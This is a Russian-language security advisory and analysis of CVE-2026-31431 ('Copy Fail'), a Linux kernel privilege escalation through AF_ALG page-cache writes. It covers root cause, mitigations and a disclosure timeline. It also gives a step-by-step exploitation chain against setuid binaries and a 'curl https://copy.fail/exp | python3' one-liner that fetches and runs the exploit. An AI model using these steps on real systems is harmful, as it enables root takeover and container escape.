
Доказательство концепции эксплуатации для CVE-2026-31431, локального повышения привилегий в ядре Linux через запись в page cache AF_ALG, позволяющего получить root на основных дистрибутивах.
algif_aead (запись в страничный кэш «Copy Fail»)
Автор: Van Glenndon Enad
Первоначальное обнаружение: Theori / Xint Code Research Team (Taeyang Lee)
Опубликовано: 29 апреля 2026 г.
Серьёзность: Высокая
Оценка CVSS v3.1: 7.8
Вектор CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787 (запись за пределами границ), CWE-269 (некорректное управление привилегиями)
CVE-2026-31431, публично названная «Copy Fail», — это уязвимость высокой степени серьёзности, позволяющая повышать привилегии в локальной системе (LPE) в модуле ядра Linux algif_aead — интерфейсе шифров AEAD криптографического API ядра для пользовательского пространства (AF_ALG). Дефект возник из-за оптимизации производительности (операция «на месте»), внедрённой в 2017 году в коммите 72548b093ee3, которая непреднамеренно позволила размещать файловые страницы, поддерживаемые страничным кэшем, в записываемом списке рассеяния назначения во время криптографической операции AEAD.
Объединив три подсистемы ядра — сокеты AF_ALG, системный вызов splice() и поведение алгоритма authencesn при записи во временный буфер — непривилегированный локальный пользователь может выполнить контролируемую запись 4 байт в страничный кэш любого читаемого файла. Нацелившись на setuid-бинарник, такой как /usr/bin/su, эта запись повреждает образ исполняемого файла в памяти, не изменяя файл на диске, тем самым обходя инструменты проверки целостности файлов на диске. Результирующее повышение привилегий до root является детерминированным — не требуется ни состояния гонки, ни смещений ядра для конкретного дистрибутива, ни специальных привилегий. Публично выпущенный PoC-эксплойт на Python размером 732 байта предоставляет root-оболочки в Ubuntu, Amazon Linux, RHEL и SUSE за один неизменённый запуск.
Уязвимость незаметно присутствует в каждом массовом дистрибутиве Linux уже почти девять лет. По данным Theori, AF_ALG включён в конфигурацию ядра по умолчанию практически во всех дистрибутивах, что означает отсутствие необходимости в специальных флагах сборки или конфигурациях для того, чтобы система была уязвимой.
Ядро Linux предоставляет криптографические примитивы пользовательскому пространству через интерфейс сокетов AF_ALG (crypto/algif_aead.c). В 2017 году была внедрена оптимизация производительности, которая позволила algif_aead выполнять операции AEAD на месте — повторно используя исходный буфер памяти в качестве назначения — чтобы избежать ненужного копирования данных.
Дефект проявляется, когда пользовательское пространство передаёт входные данные в сокет AF_ALG через системный вызов splice(). В этом случае страницы, помещённые в список рассеяния источника, являются страницами страничного кэша — общей памятью, управляемой ядром, поддерживающей переданный файл. Из-за оптимизации «на месте», устанавливающей req->src = req->dst, эти страницы страничного кэша попадают в записываемый список рассеяния назначения. Алгоритм authencesn впоследствии выполняет запись во временный буфер по адресу dst[assoclen + cryptlen], который разрешается в смещение внутри этих страниц страничного кэша — фактически записывая данные, контролируемые атакующим, в образ переданного файла в памяти.
Поскольку страничный кэш является общим для всего хоста, включая контейнеры, запись из одного процесса влияет на кэшированные страницы этого файла для всех процессов и контейнеров на том же ядре.
Оскорбительное изменение в algif_aead.c установило req->src = req->dst и связало страницы тега из списка рассеяния источника в выходной список рассеяния через sg_chain():
/* Оптимизация «на месте» 2017 года — коммит 72548b093ee3 */
req->src = req->dst; /* источник == назначение */
sg_chain(dst, n + 1, src_tag); /* страницы тега связаны в записываемый dst */
Когда splice() используется для передачи файла в сокет, страницы списка рассеяния поддерживаются страничным кэшем, а не приватной анонимной памятью. Связывание их в записываемый список рассеяния dst нарушает предположение о том, что назначение является записываемой приватной памятью.
authencesnШаблон authencesn записывает временное значение порядкового номера (seqno_lo, байты 4–7 AAD) по адресу dst[assoclen + cryptlen]. Поскольку dst теперь содержит страницы страничного кэша из переданного файла, эта запись попадает в смещение, контролируемое атакующим, внутри образа файла в памяти:
/* Временная запись authencesn — смещение определяется assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* запись в страничный кэш */
Записанные 4 байта соответствуют seqno_lo, который атакующий контролирует через полезную нагрузку AAD, отправляемую через sendmsg().
Сокет AF_ALG (SOCK_SEQPACKET)
│
│ splice() — доставляет страницы файла в сокет
▼
Оптимизация «на месте» algif_aead
│ req->src = req->dst
│ страницы страничного кэша попадают в записываемый список рассеяния
▼
Временная запись authencesn
│ записывает seqno_lo по адресу dst[assoclen + cryptlen]
│ = выбранные атакующим 4 байта по выбранному атакующим смещению в файле
▼
Повреждение страничного кэша (без изменения на диске)
Исправление (a664bf3d603d) полностью отменяет оптимизацию «на месте» — algif_aead теперь всегда работает вне места, выделяя отдельный буфер назначения. Поскольку источник и назначение теперь поступают из разных отображений, страницы страничного кэша в src никогда не могут быть достигнуты путём записи в dst.
Примечательно отсутствие в предварительных условиях: сетевого доступа, функций отладки ядра, CAP_SYS_ADMIN, предварительно загруженных модулей ядра или каких-либо существующих примитивов. Поверхность атаки полностью локальна и самодостаточна.
Шаг 1: Атакующий открывает сокет AEAD AF_ALG (SOCK_SEQPACKET)
│ автозагрузка модуля algif_aead; root не требуется
▼
Шаг 2: Атакующий открывает целевой setuid-бинарник (например, /usr/bin/su) для чтения
│ требуется только разрешение на чтение
▼
Шаг 3: splice() передаёт страницы целевого файла в сокет AF_ALG
│ страницы страничного кэша теперь в списке рассеяния источника
▼
Шаг 4: Срабатывает оптимизация «на месте»: req->src = req->dst
│ страницы страничного кэша попадают в записываемый список рассеяния назначения
▼
Шаг 5: Путь расшифровки authencesn выполняет временную запись по адресу dst[assoclen + cryptlen]
│ атакующий контролирует assoclen, cryptlen и 4-байтовое значение seqno_lo
▼
Шаг 6: Контролируемая перезапись 4 байт попадает в страничный кэш /usr/bin/su
│ бинарник в памяти пропатчен; файл на диске не изменён
▼
Шаг 7: Атакующий выполняет `su` — повреждённый образ в памяти запускается от root
│ бит setuid сохранён; ядро выполняет код, пропатченный атакующим
▼
Шаг 8: Получена root-оболочка — повышение привилегий завершено
В контейнерных средах Шаг 6 распространяет повреждение страничного кэша на хост и на все соседние контейнеры, использующие то же ядро, что обеспечивает полный побег из контейнера.
PoC (copy_fail_exp.py, 732 байта) использует только модули стандартной библиотеки Python 3.10+: os, socket и zlib. Эксплойт формирует и отправляет точно сконструированную полезную нагрузку sendmsg() в сокет AF_ALG после подготовки страниц файла через splice().
/usr/bin/suPoC по умолчанию нацелен на /usr/bin/su. Запись 4 байт пропатчивает конкретную инструкцию в кэшированной странице ELF-бинарника — заменяя ветвь проверки привилегий или проверку uid на no-op или безусловный переход — так что при последующем выполнении su среда выполнения setuid запускает пропатченный код от root. Повреждение непостоянно: вытеснение страницы или перезагрузка восстанавливают исходный бинарник.
В отличие от типичных атак на страничный кэш (например, Dirty COW), Copy Fail не требует состояния гонки. Путь записи линейный: splice() → sendmsg() → временная запись. Каждый вызов детерминирован и синхронен, что делает эксплойт высоконадёжным на различном оборудовании, версиях ядра и дистрибутивах.
Предупреждение: Этот PoC предоставлен исключительно в образовательных, исследовательских целях и для авторизованного тестирования. Не используйте его против любых систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Канонический PoC поддерживается Theori в официальном репозитории. Это автономный скрипт на Python 3.10+ размером 732 байта без внешних зависимостей.
Использование по умолчанию (цель — /usr/bin/su):
python3 copy_fail_exp.py
Пользовательская setuid-цель:
python3 copy_fail_exp.py /usr/bin/sudo
Однострочник (с официального сайта):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
SHA256 канонического PoC:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Тот же неизменённый скрипт был публично продемонстрирован для получения root-оболочек в Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 и SUSE 16 в одной сессии tmux.
Наиболее критичным вектором воздействия являются мультитенантные среды: общие машины разработки, рабочие узлы Kubernetes, self-hosted раннеры GitHub Actions, CI-агенты GitLab/Jenkins, платформы хостинга ноутбуков и бессерверные среды, где пользовательский код выполняется под обычной учётной записью пользователя. Любая такая среда с непропатченным ядром полностью скомпрометирована любым пользователем, который может выполнять код.
Обновите ядро до версии, содержащей исправление из основной ветки — коммит a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5:
Отключите модуль ядра algif_aead, чтобы заблокировать путь атаки в его источнике:
# Сохранить блокировку после перезагрузок
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Выгрузить модуль из работающего ядра (если загружен)
rmmod algif_aead
Что это ломает: Это не влияет на dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH или стандартные OpenSSL/GnuTLS/NSS. Это может повлиять на пользовательские приложения, которые явно используют движок OpenSSL
afalgили напрямую привязывают сокетыaead. Проверьте с помощьюlsof | grep AF_ALGперед применением.
AF_ALG через seccomp независимо от состояния патча — добавьте SOCK_SEQPACKET + AF_ALG в список запрета в вашем профиле seccomp.AF_ALG.AF_ALG SOCK_SEQPACKET — это обязательный первый шаг эксплойта.su/sudo в сочетании с использованием сокетов AF_ALG как поведенческий сигнал.Правовое предупреждение: Этот анализ и подтверждение концепции опубликованы строго в образовательных, исследовательских целях и для целей защитной безопасности. Автор не одобряет несанкционированный доступ к компьютерным системам. Всегда получайте явное письменное разрешение перед проведением тестирования безопасности любой системы, которой вы не владеете.
| Компонент | Сведения |
|---|
| Затронутая подсистема | crypto/algif_aead.c — интерфейс AEAD AF_ALG ядра Linux |
| Уязвимость внедрена | Ядро Linux 4.14 (2017), коммит 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| Исправленные версии | 6.18.22, 6.19.12, 7.0 |
| Исправляющий коммит | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| Проверенные дистрибутивы | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| Неявно затронутые | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux и любой дистрибутив с непропатченным ядром, собранным с 2017 года |
| Требование | Примечания |
|---|
| Локальная непривилегированная учётная запись пользователя | Не требуется повышенных разрешений |
| Ядро, собранное с 2017 года (≥ 4.14) | Охватывает практически все массовые дистрибутивы |
Включён AF_ALG (CONFIG_CRYPTO_USER_API) | По умолчанию практически во всех конфигурациях ядра дистрибутивов |
Модуль algif_aead загружаемый/загруженный | Автозагружается при первом создании сокета AF_ALG |
Как минимум один читаемый setuid-бинарник | например, /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (для публичного PoC) | Только os, socket, zlib из стандартной библиотеки |
| Параметр | Контроль атакующего | Механизм |
|---|
| Целевой файл | Любой файл, читаемый атакующим | Передаётся в splice() |
| Смещение записи | assoclen + cryptlen | Задаётся через параметры сокета в sendmsg() |
| Значение записи (4 байта) | seqno_lo | Байты 4–7 полезной нагрузки AAD в sendmsg() |
| Категория | Описание |
|---|
| Конфиденциальность | Полный доступ на чтение ко всем файлам на хосте от root |
| Целостность | Возможность записи произвольных файлов, установки бэкдоров, изменения /etc/passwd или /etc/shadow |
| Доступность | Полный захват хоста; возможны сбои в обслуживании |
| Аутентификация | Не требуется учётных данных помимо локальной учётной записи пользователя |
| Побег из контейнера | Страничный кэш является общим для хоста — под с локальной оболочкой может скомпрометировать узел и пересечь границы арендаторов |
| Конвейер CI/CD | Непроверенный pull request, выполненный на self-hosted раннере, становится root на хосте раннера |
| Постоянство | Пост-эксплуатация: внедрение SSH-ключей, cron-заданий, установка модулей ядра — всё тривиально достижимо |
| Обход криминалистики | Бинарник на диске никогда не изменяется; мониторы целостности файлов (FIM), AIDE, Tripwire не видят изменений |
| Дистрибутив | Исправленная версия ядра |
|---|
| Upstream Linux | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | Патч вендора доступен — apt update && apt upgrade |
| Amazon Linux 2023 | Патч вендора доступен — dnf update kernel |
| RHEL 10.1 | Патч Red Hat в работе — AlmaLinux выпустил исправление из upstream |
| SUSE 16 | Патч вендора доступен — zypper update kernel-default |
| Дата | Событие |
|---|
| 2026-03-23 | Уязвимость сообщена команде безопасности ядра Linux компанией Theori |
| 2026-03-24 | Получено первоначальное подтверждение |
| 2026-03-25 | Патч предложен и рассмотрен мейнтейнерами ядра |
| 2026-04-01 | Исправление внесено в основную ветку (a664bf3d603d) |
| 2026-04-22 | Присвоен CVE-2026-31431 |
| 2026-04-29 | Публичное раскрытие на copy.fail; PoC опубликован на GitHub |
| 2026-04-30 | AlmaLinux выпускает пропатченное ядро с использованием исправления из upstream |
| 2026-04-30 | Блог безопасности Microsoft, Sophos, Sysdig, Bugcrowd публикуют анализы |
| 2026-05-01 | Опубликован PoC побега из контейнера Kubernetes |
| 2026-05-02 | Опубликованы независимый анализ и документация |